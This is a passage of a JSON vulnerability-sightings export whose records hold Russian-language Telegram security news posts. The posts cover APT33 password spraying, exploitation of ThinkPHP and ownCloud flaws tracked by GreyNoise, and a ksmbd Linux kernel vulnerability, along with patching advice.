\u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f\u043c\u0438 Peach Sandstorm, Holmium, Elfin \u0438 Magic Hound. \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0446\u0435\u043b\u0438 \u2014 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u0441\u0444\u0435\u0440\u0435 \u043a\u043e\u0441\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u0438, \u043e\u0431\u043e\u0440\u043e\u043d\u044b \u0438 \u0444\u0430\u0440\u043c\u0430\u0446\u0435\u0432\u0442\u0438\u043a\u0438.\n\n\u0413\u0440\u0443\u043f\u043f\u0430 APT33 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430 \u0441 2013 \u0433\u043e\u0434\u0430. \u0418\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043e\u043d\u0430 \u043d\u0430\u0446\u0435\u043b\u0438\u0432\u0430\u043b\u0430\u0441\u044c \u043d\u0430 \u0430\u0432\u0438\u0430\u0446\u0438\u043e\u043d\u043d\u0443\u044e \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0438 \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u043e\u043c \u043d\u0435\u0444\u0442\u0435\u0445\u0438\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0446\u0438\u0438. \u041f\u043e\u0434\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0435 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0436\u0435\u0440\u0442\u0432 \u043d\u0430\u0445\u043e\u0434\u0438\u043b\u043e\u0441\u044c \u043d\u0430 \u0411\u043b\u0438\u0436\u043d\u0435\u043c \u0412\u043e\u0441\u0442\u043e\u043a\u0435, \u043d\u043e \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0447\u0430\u043b\u0438\u0441\u044c \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u044b \u0432 \u0421\u0428\u0410, \u042e\u0436\u043d\u043e\u0439 \u041a\u043e\u0440\u0435\u0435 \u0438 \u0415\u0432\u0440\u043e\u043f\u0435.\n\n\u0421 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u043f\u043e \u0438\u044e\u043b\u044c 2023 \u0445\u0430\u043a\u0435\u0440\u044b \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043b\u0438 \u0442\u044b\u0441\u044f\u0447\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443. \u00ab\u041f\u043e \u043e\u0446\u0435\u043d\u043a\u0430\u043c Microsoft, \u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0439 \u044d\u0442\u0430\u043f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0441\u0431\u043e\u0440\u0430 \u0440\u0430\u0437\u0432\u0435\u0434\u044b\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0432 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0430\u0445 \u0418\u0440\u0430\u043d\u0430\u00bb, \u2014 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u0432 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u043e\u0442\u0447\u0435\u0442\u0435.\n\n\u0414\u043b\u044f \u0430\u0442\u0430\u043a \u0432\u044b\u0431\u0440\u0430\u043b\u0438 \u043c\u0435\u0442\u043e\u0434 \u00ab\u0440\u0430\u0441\u043f\u044b\u043b\u0435\u043d\u0438\u044f \u043f\u0430\u0440\u043e\u043b\u0435\u0439\u00bb, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043e\u0434\u043d\u0430 \u0438 \u0442\u0430 \u0436\u0435 \u043a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u043a \u0431\u043e\u043b\u044c\u0448\u043e\u043c\u0443 \u0447\u0438\u0441\u043b\u0443 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439. \u0422\u0430\u043a\u043e\u0439 \u043f\u043e\u0434\u0445\u043e\u0434 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0438\u0437\u0431\u0435\u0433\u0430\u0442\u044c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0431\u044b\u0447\u043d\u043e \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043f\u0440\u0438 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u0443\u0434\u0430\u0447\u043d\u044b\u0445 \u043f\u043e\u043f\u044b\u0442\u043a\u0430\u0445 \u0432\u0432\u043e\u0434\u0430 \u043f\u0430\u0440\u043e\u043b\u044f. \u041f\u043e\u0441\u043b\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u0446\u0435\u043d\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u041a\u043b\u044e\u0447\u0435\u0432\u0430\u044f \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u043b\u0430\u0441\u044c \u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0430\u043d\u043e\u043d\u0438\u043c\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 TOR IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0438 \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u0430\u0433\u0435\u043d\u0442\u0430 \u00abgo-http-client\u00bb, \u0447\u0442\u043e \u0443\u0441\u043b\u043e\u0436\u043d\u044f\u043b\u043e \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0438 \u043f\u0440\u0435\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u043e\u0432.\n\n\u0425\u0430\u043a\u0435\u0440\u044b \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043b\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b AzureHound \u0438 Roadtools \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u0432 Microsoft Entra ID (\u0431\u044b\u0432\u0448\u0438\u0439 Azure Active Directory).\n\n\u041d\u0430 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u043b\u0438 \u043a\u043b\u0438\u0435\u043d\u0442 Azure Arc \u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u043b\u0438 \u0435\u0433\u043e \u043a \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0435 Azure, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u043e\u0439 Peach Sandstorm. \u0421 \u043f\u043e\u043c\u043e\u0449\u044c\u044e Azure Arc \u043c\u043e\u0436\u043d\u043e \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u0442\u044c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0432 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0438\u0437 \u0441\u0432\u043e\u0435\u0433\u043e \u043e\u0431\u043b\u0430\u043a\u0430.\n\n\u0413\u0440\u0443\u043f\u043f\u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u044b\u0442\u0430\u043b\u0430\u0441\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Zoho ManageEngine ( CVE-2022-47966 ) \u0438 Atlassian Confluence ( CVE-2022-26134 ) \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2023-09-18T21:06:28.000000Z"}, {"uuid": "e88a51b2-b558-424f-868e-903be12111b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47945", "type": "exploited", "source": "https://t.me/itsec_news/5397", "content": "\u200b\u26a1\ufe0f\u0421\u0442\u0430\u0440\u044b\u0435 \u0431\u0430\u0433\u0438, \u043d\u043e\u0432\u044b\u0435 \u0443\u0433\u0440\u043e\u0437\u044b: \u0445\u0430\u043a\u0435\u0440\u044b \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u0430\u0442\u0430\u043a\u0443\u044e\u0442 ThinkPHP \u0438 ownCloud\n\n\ud83d\udcac \u0412 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043c\u0435\u0441\u044f\u0446\u044b \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442 \u0440\u043e\u0441\u0442 \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 2022 \u0438 2023 \u0433\u043e\u0434\u043e\u0432 \u0432 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0437\u0430\u0449\u0438\u0449\u0451\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 \u0443\u0433\u0440\u043e\u0437 GreyNoise, \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0432\u0441\u043f\u043b\u0435\u0441\u043a \u0430\u0442\u0430\u043a \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2022-47945 \u0438 CVE-2023-49103 , \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a ThinkPHP \u0438 \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 ownCloud.\n\n\u041e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u043c\u0435\u044e\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u0418\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0438\u043b\u0438 \u043f\u043e\u0445\u0438\u0449\u0430\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043f\u0430\u0440\u043e\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432, \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0438 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u043e\u043d\u043d\u044b\u0435 \u043a\u043b\u044e\u0447\u0438.\n\nCVE-2022-47945 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0438\u043f\u0430 Local File Inclusion (LFI) \u0432\u043e \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0435 ThinkPHP \u0432\u0435\u0440\u0441\u0438\u0439 \u0434\u043e 6.0.14. \u041e\u0448\u0438\u0431\u043a\u0430 \u043a\u0440\u043e\u0435\u0442\u0441\u044f \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0435 \u044f\u0437\u044b\u043a\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u044f\u0437\u044b\u043a\u043e\u0432\u043e\u043c \u043f\u0430\u043a\u0435\u0442\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u041b\u0435\u0442\u043e\u043c 2024 \u0433\u043e\u0434\u0430 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b Akamai \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0441\u043b\u0443\u0447\u0430\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u043c\u0438 \u0445\u0430\u043a\u0435\u0440\u0430\u043c\u0438 , \u0430 \u0441 \u043e\u043a\u0442\u044f\u0431\u0440\u044f 2023 \u0433\u043e\u0434\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a \u0440\u0435\u0437\u043a\u043e \u0432\u043e\u0437\u0440\u043e\u0441\u043b\u0430. \u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e GreyNoise, \u043d\u0430 \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0443\u0436\u0435 572 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0445 IP-\u0430\u0434\u0440\u0435\u0441\u0430, \u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u0435\u0434\u0443\u0442\u0441\u044f \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 CVE-2022-47945.\n\n\u0412\u0442\u043e\u0440\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, CVE-2023-49103, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0443 ownCloud \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0435\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u043e\u0439, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f PHP \u0447\u0435\u0440\u0435\u0437 URL. \u041f\u043e\u0441\u043b\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043d\u043e\u044f\u0431\u0440\u0435 2023 \u0433\u043e\u0434\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043d\u0430\u0447\u0430\u043b\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0451 \u0434\u043b\u044f \u043f\u043e\u0445\u0438\u0449\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0441 \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0451\u043d\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432. \u0421\u043f\u0443\u0441\u0442\u044f \u0433\u043e\u0434 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043e\u0448\u043b\u0430 \u0432 \u0441\u043f\u0438\u0441\u043e\u043a 15 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 2023 \u0433\u043e\u0434\u0430 \u043f\u043e \u0432\u0435\u0440\u0441\u0438\u0438 \u0424\u0411\u0420, CISA \u0438 \u0410\u041d\u0411. \u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0432\u044b\u043f\u0443\u0441\u043a \u043f\u0430\u0442\u0447\u0430 \u0431\u043e\u043b\u0435\u0435 \u0434\u0432\u0443\u0445 \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434, \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0441\u0438\u0441\u0442\u0435\u043c \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043d\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u044b \u0438 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u0434\u043b\u044f \u0430\u0442\u0430\u043a.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c GreyNoise, \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0434\u043d\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a \u043d\u0430 CVE-2023-49103 \u0442\u0430\u043a\u0436\u0435 \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u043b\u0430\u0441\u044c, \u0430 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0445 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432, \u043e\u0442\u043a\u0443\u0434\u0430 \u0432\u0435\u0434\u0443\u0442\u0441\u044f \u0430\u0442\u0430\u043a\u0438, \u0434\u043e\u0441\u0442\u0438\u0433\u043b\u043e 484.\n\n\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c ThinkPHP \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 6.0.14 \u0438\u043b\u0438 \u043d\u043e\u0432\u0435\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c GraphAPI 0.3.1 \u0434\u043b\u044f ownCloud. \u041f\u043e\u043c\u0438\u043c\u043e \u044d\u0442\u043e\u0433\u043e, \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043e\u0442 \u0441\u0435\u0442\u0438 \u0438\u043b\u0438 \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u0437\u0430 \u0444\u0430\u0439\u0440\u0432\u043e\u043b\u043e\u043c, \u0447\u0442\u043e\u0431\u044b \u0441\u043d\u0438\u0437\u0438\u0442\u044c \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0445 \u0430\u0442\u0430\u043a.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2025-02-13T08:02:27.000000Z"}, {"uuid": "692e380a-3973-448f-9b52-27aca83a056d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47939", "type": "seen", "source": "https://t.me/codeby_sec/6981", "content": "\u200b\ud83d\udc27 \u0412 \u044f\u0434\u0440\u0435 Linux \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0431\u0430\u0433\n\n\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0438\u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Thales Group \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043c\u043e\u0434\u0443\u043b\u0435 ksmbd \u044f\u0434\u0440\u0430 Linux, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u044b\u043b \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 5.15. \u041e\u0448\u0438\u0431\u043a\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2022-47939 \u0438 10 \u0431\u0430\u043b\u043b\u043e\u0432 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS.\n\nksmbd - \u044d\u0442\u043e \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440, \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0435 SMB3 \u0438 \u044f\u0432\u043b\u044f\u044e\u0449\u0438\u0439\u0441\u044f \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043e\u0439 Samba. \u041e\u043d \u043e\u0440\u0438\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d \u043d\u0430 \u0431\u043e\u043b\u0435\u0435 \u0432\u044b\u0441\u043e\u043a\u0443\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0438 \u043d\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u043b\u0430\u0441\u044c \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e ksmbd \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u0441\u0430\u043c\u043e\u043c \u044f\u0434\u0440\u0435, \u0430 \u043d\u0435 \u0432 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u0422\u0430\u043a\u0436\u0435 \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 ksmbd \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0442\u0435\u0447\u043a\u0435 